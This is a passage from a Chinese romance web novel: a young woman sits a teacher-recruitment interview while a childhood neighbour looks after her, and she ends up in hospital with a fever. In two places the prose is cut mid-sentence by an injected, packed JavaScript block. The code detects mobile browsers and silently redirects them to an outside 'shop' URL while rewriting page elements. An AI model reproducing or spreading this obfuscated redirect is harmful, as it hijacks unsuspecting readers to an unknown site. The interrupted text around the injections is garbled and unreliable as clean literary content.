那时候她在窗边复习功课,对面别墅的摇滚乐放得震天响,她忍无可忍,打开窗,探出半个身子把洛时屿狠狠骂了一顿。 “你还记得我高中的喜好呢?” 洛时屿笑得眯起眼睛,“庄樱,我发现你挺关注我的。” 庄樱不自在地别开有些发热的脸。 “我要睡了,不跟你说了。” “嗯,早点休息,别给自己太大压力,晚安。” 洛时屿朝她招了招手。 庄樱轻嗯了声,关上窗,正要转身往门口走,不知想到什么,又转头瞥了一眼。 对面窗户后那道修长挺拔的身影,依然伫立在原地。 霎时间,庄樱心尖好像被什么用力攥了一下,软得不可思议。 隔天,闹钟还没响,庄樱就醒了。 才六点多,家里静悄悄的。庄樱先换了前两天买的套装,在镜子前照了照,又化了个淡妆。 准备就绪后,她把要带去考场的资料、身份证和准考证收拾好,一起装进背包里。正犹豫要不要给洛时屿发消息时,手机先震了一下。 洛时屿:醒了没?我带你出去吃早餐。 庄樱心中一暖,回了个嗯。 她没想到洛时屿竟然会起得比她还早。 她背着包下楼,陈慧心已经醒了,正在厨房里煮咖啡,见到她先夸了声。 “宁宁,你今天这身很漂亮,面试肯定没问题。早餐要不要在家里吃?” “额,不用了,我——” 陈慧心端着马克杯,会意地朝她一笑,“小洛要带你到外面吃,对吧?” 庄樱莫名红了脸,轻嗯了声。 “也好,省得你爸还要起来送你。他昨晚十二点多才到家,这会儿还在睡呢。” “嗯,您别叫醒他,我先走了啊。” 庄樱在玄关处换好鞋,背上包,刚推开门,就看到了站在门外的洛时屿。他穿着简单的白T ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203071|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和蓝色牛仔裤,干净而清爽。 “陈阿姨早。” 他先跟庄樱身后的陈慧心打过招呼,这才朝她伸出手,“我帮你拿包吧。” 他这个动作做得太过自然,以至于庄樱都没反应过来,背上的包已经到了洛时屿手上。 “身份证和准考证都带好了?” 庄樱边点头边跟着他车位走。 上了车,洛时屿把包放在后座,这才侧过身,仔细地打量了一下正在拂裙摆的庄樱。 “你今天……穿得挺不一样。” 他没见过庄樱穿这种偏职业的套装,在门口见到她时眸中就划过了一丝惊艳。 “是不是太正式了?” 庄樱被他打量得不太自在,不确定地低头瞟了眼。她这身套装上面是白色印花衬衣,下面是一条灰色的及膝A字裙,比她平时的休闲风格要正式许多。 “还好,这身很适合你。” 洛时屿垂下眼睫,发动车子,“不过今天可能会降温,你要不要带件外套?” 庄樱抬眸看了眼外面的天气,灰蒙蒙的,有些阴沉。看了眼时间已经七点多了,她果断放弃折返回家的想法。 “算了,现在回去拿外套很麻烦,先去吃早餐吧。” “行。” 洛时屿带她去了师大附近的一家早餐店。这家店是做小笼包出名的,小笼包都是新鲜肉包的,个个皮薄馅厚,咬一口汁水满溢。 “你尝尝小笼包,还有豆浆,这儿的豆浆也不错。” 洛时屿坐在她对面,四方桌小,两人的距离也隔得近。庄樱夹了一个放进嘴里,她急着尝味道,差点没被溢出的汁水烫到。 “急什么,还有时间。” 洛时屿笑眯眯地递了张纸巾给她。 “我哪知道里面汤汁这么多。” 庄樱接过纸巾擦嘴,用手扇了扇风,“都快赶上汤包了。” “我都不知道这家店,你怎么知道的?”庄樱有些纳闷。 “在地图上搜到的,看到有人推荐是宝藏老店。”洛时屿一口两个小笼包,几下就嚼完了,又拿起豆浆吸了一大口。 “嗯,挺好吃的。” 庄樱吃了四个就放下了筷子,每逢大考,她都没什么胃口吃饭。洛时屿看出什么,抬眼盯着她。 “太紧张了,没胃口?” 庄樱喝着豆浆,含糊地唔了声。 “考不考得上都没关系,不用给自己那么大压力。” 洛时屿调了一个醋碟,放到她手边,又夹了一个小笼包放进她碗里。 “不管怎么样都要多吃点。万一中途饿了,影响你发挥怎么办?” “嗯,不过我包里也带了些零食。” 庄樱话是这么说,还是听劝地又往嘴里塞了一个小笼包。吃到八分饱后,她才停了下来。 “几点结束,我来接你。” 洛时屿将她送到附小校门口。 “最早也要十二点了,上午考完中午出成绩。” “行,那我十二点再过来,等你一块儿吃饭。” “嗯。” 庄樱背着包下了车,正要踏进师大附小的大门时,忽然被洛时屿叫住。 “庄樱。” “嗯?”庄樱转头看他,眼神中带着不解。 “送你的好运符。” 洛时屿丢了一个什么东西过来,庄樱忙不迭接住,发现那是一个绣工精致的香囊。 “这哪儿来的?” “清澜山上的云隐寺求的。大师开过光。” 庄樱忍不住笑了,“你还信这些啊?” 洛时屿也笑,“以前不信,现在觉得菩萨挺眷顾我的。” 这句莫名其妙的话庄樱听不太懂,她余光看了眼手表上的时间,“我该进去了,回头见。” “去吧,考试顺利。” 通过审核后,庄樱进了面试的考场,第一件事就是抽签。 打开签号后,她眼前一黑。 30号。 她竟然排在最后一个。 16. 第 16 章 最后一个至少比第一个好点。 庄樱这样安慰自己,开始了煎熬的等待。 好在结构化面试的时间短,抽到问题后每个人只有五分钟的准备时间,随即就要上台发言,轮到她时,也就过去了一个多小时。 捏了捏口袋里的幸运符,庄樱深吸一口气,推开了眼前的教室门。 “各位考官好,我是30号。” 结构化的题目不难,跟时下热门的AI话题有关。庄樱从正反两个角度阐述了自己的观点,说到最后一点时因为紧张语速比平时快了些,声音也有些沙哑。 她没敢看台下考官的反应,回答完后便礼貌地鞠躬,离开了面试考场。 回到等候室,庄樱第一件事就是拿起桌上的水杯大口往嘴里灌水。心脏跳得厉害,她第一次参加结构化面试,竟然比研究生复试的时候还紧张。 第二轮是试讲,这次庄樱的运气还不错,抽到了中间的签号,16号。 试讲的时间相对较长,她又等了一个多小时,水杯里的水早就喝完了,喉咙隐约有些不舒服,她没怎么在意,只关注着前面考生的情况。 “16号可以出来了。” 终于听到自己的号码,庄樱心中一喜,拿起包跟着引导员去了准备室。东西放到一边,她找到自己的座位坐下。 桌上有一份考题,一支笔和一张白色A4纸,还有一个计时器。她坐下那刻,计时器便开始倒计时。 “16号考生,你有15分钟的准备时间,倒计时结束后不允许再作答。” “好的,谢谢。” 庄樱已经看到了试讲的考题,是八年级某单元的一篇大阅读,她之前实习的时候还上过这篇阅读的公开课,对文本材料简直是烂熟于心。 心中稍定后,庄樱拿起笔,开始写教学设计。 八分钟的无生试讲,不需要任何废话,环节之间的衔接也是越简单越好,但重难点一定要贯穿其中,而且最好结尾要有情感升华。 庄樱的教学设计和板书写得一气呵成,十分钟不到就写完了。剩下几分钟她就在心中反复默背自己的逐字稿,等轮到她时,她已经将逐字稿反复背了两遍。 “16号考生,你可以进试讲室了。” 身后是引导员的声音。 庄樱点点头,把考题和教学设计拿在手里,步履轻盈地推开了试讲室的大门。 “……Classover.Boysandgirs.Thankyouforlistening!” 说完最后一句话,庄樱在心底长出一口气,擦掉黑板上的板书,把粉笔放回纸盒,拿起讲台上自己的资料出了试讲室。 到了走廊上,她才发现自己的脸都笑僵了。还好她全程几乎没有口误,环节之间的衔接也很流畅,中途她还观察了一下考官们的表情,有两个女考官笑眯眯地看着她,想来她的表现应该不错。 庄樱没让自己多想,她结构化表现一般,想拿高分很难。笔试只占比50%,如果第二名的结构化和试讲成绩都比她高,那翻盘也不是没有可能。 考试全部结束后,所有岗位的考生都回到了一楼的报告厅等待成绩。面试开考前封存的手机也发放给了她们,庄樱找了一个最后排的位置坐下,先把手机打开看消息。 【我现在出发去附小,二十分钟到。】 【到门口了,我在车上等你。你一出来就看得到我的车。】 【都快十二点半了,怎么还没出来?】 庄樱赶紧回复:还要等成绩,估计还要十来分钟。你要是饿了可以先吃点东西。 【已经吃上了。】 下面配的是一张煎饼果子的照片。 【你饿不饿?要不我给你也买一个?】 庄樱不自觉笑了,回道:我现在不饿,等我出来我再请你吃饭。 她这边跟洛时屿发着消息,忽然听到前面有一阵议论声,似乎是结构化的成绩出来了,有人考了96的高分,正被众人围着艳羡。 庄樱最关心的是这个高分是不是英语岗,她竖起耳朵听了一下,隐约听到了初中英语四个字,瞬间心中一沉。 【完了,我这个岗有人结构化考了96分,全场第一,我估计没啥希望了。】 【你的成绩没出来怕什么,别多想。】 庄樱正敲字,忽然听到了自己的名字,她心中一凛,连忙下了阶梯。 “庄樱是吧?这是你的面试成绩条,麻烦签一下字。” 工作人员将一支黑色签字笔递给她。 庄樱飞快地瞥了眼那两张成绩条上的分数,一个89,一个94。结构化成绩比她预料中的高一点,还好。 她签完字,把自己的成绩条叠好装进包里,没在意身后其他考生打量的目光,转身出了报告厅的大门。 原本灰蒙蒙的天空竟在此时放了晴,阳光有些刺眼,庄樱一出校门,就看到了停在对面马路上的黑色奥迪。 她心中一轻,小跑着走过去。洛时屿也在此时摇下车窗,冲她眨了眨眼。 “饿了吧?想吃点什么?” “都说了我请你,看你想吃什么。” 庄樱上了车。连日来的焦虑和紧张在此时一扫而空,她靠着柔软的真皮座椅,甚至有了困意。 “行,那我们吃日料去。” 洛时屿也不跟她客气,开车去了附近最大的商圈,挑了一家老牌日料店。 庄樱是早饿过头了,这会儿看着菜单反而没什么食欲,洛时屿干脆把她的单也点了。 “主食你吃乌冬面还是鳗鱼饭?” “乌冬面吧,好久没吃过了。” “嗓子怎么哑了?”洛时屿一手捏着菜单,抬眼看她。 庄樱下意识摸了摸自己的喉咙部位,“有吗?我可能刚才讲太多话了,加上紧张导致的,晚上应该就好了。” “多喝点水。” 洛时屿给她把杯中的茶倒满。 先上来的是寿司拼盘和天妇罗炸虾,炸虾很酥脆,外皮一咬就掉渣,里面的虾肉却是柔嫩弹牙,庄樱一连吃了两个。 “下午什么计划?回家还是回师大?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203072|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“回师大吧,我论文还没打印,之前给室友带的糕点也还没给她。” 洛时屿扫了眼她被寿司塞得鼓囊囊的腮帮子,轻笑了声,“行,我送你过去。” 这次庄樱买单洛时屿没跟她抢,上车后,不知道是不是吃了生冷东西的原因,庄樱隐隐觉得胃里不太舒服,喉咙更是像刀割一样。 她连喝了几口水都没得到缓解,洛时屿开着车,也察觉到不对,转头看她。 “怎么了?你脸色好像不太好。” “喉咙和胃不太舒服。”庄樱按了按自己小腹的位置,“可能太久没吃日料了,不太习惯。” “除了这两个地方,别的地方呢?” 庄樱眯了眯眼睛,努力睁开沉重的眼皮,“头……好像也有点痛。” “是不是感冒了?你今天早上穿太少了,应该加件外套的。” 车子正好停在红灯前,洛时屿挂了停车挡,侧过身,摸了摸庄樱的额头。 “有发热吗?”庄樱有些呆呆地看着他。 这样近的距离,洛时屿连她脸上细小的绒毛都看得一清二楚。他垂眸,视线掠过她微微泛红的脸,“庄樱,你应该是发烧了,我们先不回师大,我送你去医院。” “不会吧……我身体很好的,不用去医院吧……” 庄樱摸了摸自己的额头,好像确实比平时热。可她体质也没差到这种地步吧,就因为穿少了点就感冒了吗? “你是心理压力太大,突然一放松,免疫系统就撑不住了。” 洛时屿揉了揉她的头发,“这破锣嗓子就别说话了,怪难听的。” “你说谁说话难听——” 庄樱被他气得瞪圆了眼睛,抬手就想打他。洛时屿轻而易举地把她的拳头包在手心,笑道:“这么点力气还要打我,等你养好身体再打。” “你给我等着,下次我肯定狠狠揍你一顿……” 庄樱提不起劲,浑身软绵绵的,放了两句狠话就靠在座椅上睡着了。等她再次睁眼时,熟悉的车厢已经变成了她完全陌生的环境,浅绿色的天花板,刺目的白炽灯,空气中弥漫着刺鼻的消毒水味道…… “我在哪儿?” 她一开口,才发现自己嗓子哑得厉害。 “别动,你手上有针头。” 头顶上方出现一张熟悉的清俊的脸,她的手被人握住,重新塞进被子里。 “你烧到了39.5度,你知道吗?” 洛时屿俊秀的眉紧紧皱着,眼底满是心疼和自责。 庄樱什么时候见过他这副样子,她苍白的脸上露出一个很浅的笑容,“那我挺牛逼的,发着烧还能参加面试。” “你是牛逼,谁比你能耐啊。” 洛时屿握住她没吊水的那只手,又放软了语气,“还有哪里不舒服?” “有点冷。” VIP病房的空调冷气开得太低,庄樱往薄被里缩了缩。可能是发着烧让她的意识不太清楚,加上生病导致的心理脆弱,让她不自觉就想依赖些什么。 “你能不能……抱抱我?”